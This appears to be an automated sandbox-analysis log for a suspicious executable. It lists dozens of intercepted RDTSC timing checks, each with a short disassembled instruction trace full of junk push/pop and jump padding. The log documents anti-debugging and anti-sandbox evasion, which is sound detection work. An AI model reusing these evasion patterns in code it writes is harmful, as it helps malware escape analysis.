Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54C7D3 second address: 54C805 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7D1268FCh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 jmp 00007F4A7D126908h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 54C805 second address: 54C80A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553220 second address: 55325B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F4A7D126907h 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jmp 00007F4A7D126904h 0x00000014 mov eax, dword ptr [eax] 0x00000016 push eax 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55352E second address: 553532 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553532 second address: 553540 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553540 second address: 55354A instructions: 0x00000000 rdtsc 0x00000002 jne 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5537DC second address: 5537E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553DBA second address: 553DC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553DC7 second address: 553DCB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553DCB second address: 553DD1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553DD1 second address: 553DD6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 553EC1 second address: 553ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F4A7CC24DE6h 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 554378 second address: 55437C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55513F second address: 555145 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5551CE second address: 5551D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 556F27 second address: 556F33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 559EE8 second address: 559EF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jc 00007F4A7D1268F6h 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 559EF8 second address: 559EFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55A562 second address: 55A566 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55DF12 second address: 55DF99 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4A7CC24DE8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d jmp 00007F4A7CC24DF4h 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ecx 0x00000017 call 00007F4A7CC24DE8h 0x0000001c pop ecx 0x0000001d mov dword ptr [esp+04h], ecx 0x00000021 add dword ptr [esp+04h], 0000001Ah 0x00000029 inc ecx 0x0000002a push ecx 0x0000002b ret 0x0000002c pop ecx 0x0000002d ret 0x0000002e mov di, 7A4Fh 0x00000032 push 00000000h 0x00000034 adc edi, 55ACB473h 0x0000003a xchg eax, esi 0x0000003b jne 00007F4A7CC24DF7h 0x00000041 push eax 0x00000042 push eax 0x00000043 push edx 0x00000044 jmp 00007F4A7CC24DF9h 0x00000049 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55DF99 second address: 55DF9F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55FFBA second address: 55FFC0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55FFC0 second address: 55FFD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c jnl 00007F4A7D1268F6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55FFD4 second address: 55FFD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55FFD9 second address: 55FFDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56007F second address: 5600AA instructions: 0x00000000 rdtsc 0x00000002 jng 00007F4A7CC24DECh 0x00000008 jnl 00007F4A7CC24DE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 jo 00007F4A7CC24E14h 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F4A7CC24DF2h 0x0000001e rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 560FDB second address: 560FE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 560FE1 second address: 560FE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 563101 second address: 563108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56410B second address: 564152 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], eax 0x0000000a add ebx, dword ptr [ebp+122D29A8h] 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 call 00007F4A7CC24DEEh 0x00000019 jmp 00007F4A7CC24DF5h 0x0000001e pop ebx 0x0000001f push ecx 0x00000020 je 00007F4A7CC24DE6h 0x00000026 pop edi 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c push eax 0x0000002d push edx 0x0000002e rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 565266 second address: 565280 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jg 00007F4A7D1268F6h 0x0000000d pop ecx 0x0000000e popad 0x0000000f push eax 0x00000010 jng 00007F4A7D126904h 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 565280 second address: 565284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 556C58 second address: 556C6F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jp 00007F4A7D1268F6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jp 00007F4A7D1268F8h 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 567101 second address: 567181 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4A7CC24DEDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a mov dword ptr [esp], eax 0x0000000d push 00000000h 0x0000000f push ebp 0x00000010 call 00007F4A7CC24DE8h 0x00000015 pop ebp 0x00000016 mov dword ptr [esp+04h], ebp 0x0000001a add dword ptr [esp+04h], 0000001Ah 0x00000022 inc ebp 0x00000023 push ebp 0x00000024 ret 0x00000025 pop ebp 0x00000026 ret 0x00000027 mov ebx, 14681C76h 0x0000002c mov edi, 28B8A44Dh 0x00000031 push 00000000h 0x00000033 push 00000000h 0x00000035 push ecx 0x00000036 call 00007F4A7CC24DE8h 0x0000003b pop ecx 0x0000003c mov dword ptr [esp+04h], ecx 0x00000040 add dword ptr [esp+04h], 00000019h 0x00000048 inc ecx 0x00000049 push ecx 0x0000004a ret 0x0000004b pop ecx 0x0000004c ret 0x0000004d push 00000000h 0x0000004f jmp 00007F4A7CC24DF3h 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 push eax 0x0000005a pop eax 0x0000005b rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 567181 second address: 56718B instructions: 0x00000000 rdtsc 0x00000002 je 00007F4A7D1268F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56718B second address: 567190 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56A033 second address: 56A03F instructions: 0x00000000 rdtsc 0x00000002 jp 00007F4A7D1268F6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56B63A second address: 56B63E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56B63E second address: 56B642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56B642 second address: 56B69F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 jmp 00007F4A7CC24DEDh 0x0000000c pop ebx 0x0000000d popad 0x0000000e nop 0x0000000f or ebx, 42373078h 0x00000015 mov edi, dword ptr [ebp+122D3AE0h] 0x0000001b push 00000000h 0x0000001d push 00000000h 0x0000001f push eax 0x00000020 call 00007F4A7CC24DE8h 0x00000025 pop eax 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a add dword ptr [esp+04h], 00000016h 0x00000032 inc eax 0x00000033 push eax 0x00000034 ret 0x00000035 pop eax 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+122D1B10h] 0x0000003d push 00000000h 0x0000003f add edi, dword ptr [ebp+122D3940h] 0x00000045 push eax 0x00000046 pushad 0x00000047 pushad 0x00000048 pushad 0x00000049 popad 0x0000004a push esi 0x0000004b pop esi 0x0000004c popad 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56B69F second address: 56B6A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5582D1 second address: 5582D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 50CEC0 second address: 50CECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7D1268FBh 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 50CECF second address: 50CF04 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F4A7CC24DEFh 0x0000000f pushad 0x00000010 pushad 0x00000011 popad 0x00000012 push edi 0x00000013 pop edi 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edi 0x0000001b jmp 00007F4A7CC24DEDh 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 pop edi 0x00000023 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 50CF04 second address: 50CF09 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56FBFA second address: 56FC00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5582D7 second address: 5582DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5726B8 second address: 5726BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55F26C second address: 55F270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 561215 second address: 561247 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F4A7CC24DF5h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jc 00007F4A7CC24DF1h 0x00000017 jmp 00007F4A7CC24DEBh 0x0000001c rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 561247 second address: 56124D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 562395 second address: 56239B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56A86D second address: 56A880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F4A7D1268FAh 0x0000000e rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56A880 second address: 56A886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56A886 second address: 56A88C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56A88C second address: 56A890 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 567347 second address: 56734B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56734B second address: 567354 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56C931 second address: 56C935 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56C935 second address: 56C93B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56D77C second address: 56D782 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 566419 second address: 566423 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F4A7CC24DE6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56FE64 second address: 56FE69 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 566423 second address: 56649C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jmp 00007F4A7CC24DF0h 0x0000000e nop 0x0000000f pushad 0x00000010 mov dh, bh 0x00000012 jmp 00007F4A7CC24DF4h 0x00000017 popad 0x00000018 push dword ptr fs:[00000000h] 0x0000001f and ebx, dword ptr [ebp+122D3A68h] 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c sub dword ptr [ebp+122D192Dh], edi 0x00000032 mov dword ptr [ebp+1245B2CCh], esi 0x00000038 mov eax, dword ptr [ebp+122D1439h] 0x0000003e pushad 0x0000003f mov dx, 169Ch 0x00000043 jnl 00007F4A7CC24DE8h 0x00000049 popad 0x0000004a push FFFFFFFFh 0x0000004c xor ebx, 6D147402h 0x00000052 nop 0x00000053 push eax 0x00000054 push edx 0x00000055 push esi 0x00000056 jnp 00007F4A7CC24DE6h 0x0000005c pop esi 0x0000005d rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 56649C second address: 5664A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5664A2 second address: 5664A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 577956 second address: 57795A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 577C39 second address: 577C3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 577DA1 second address: 577DAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 577DAC second address: 577DBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push esi 0x0000000a jns 00007F4A7CC24DE6h 0x00000010 push edx 0x00000011 pop edx 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 577DBF second address: 577DCA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F4A7D1268F6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 57DF66 second address: 57DF6C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582273 second address: 582277 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582277 second address: 58227F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582590 second address: 582594 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582594 second address: 5825AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F4A7CC24DF1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 5825AF second address: 5825C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007F4A7D1268F6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582A11 second address: 582A15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582A15 second address: 582A21 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push esi 0x0000000b pop esi 0x0000000c rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582A21 second address: 582A2B instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4A7CC24DE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582B89 second address: 582B8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582B8D second address: 582BB6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F4A7CC24DE6h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F4A7CC24DF9h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582BB6 second address: 582BC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F4A7D1268F6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 582E4C second address: 582E50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 50B37E second address: 50B382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 50B382 second address: 50B388 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 58707F second address: 58708A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\DocumentsKECBFBAEBK.exe	RDTSC instruction interceptor: First address: 55C4DF second address: 55C4E6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
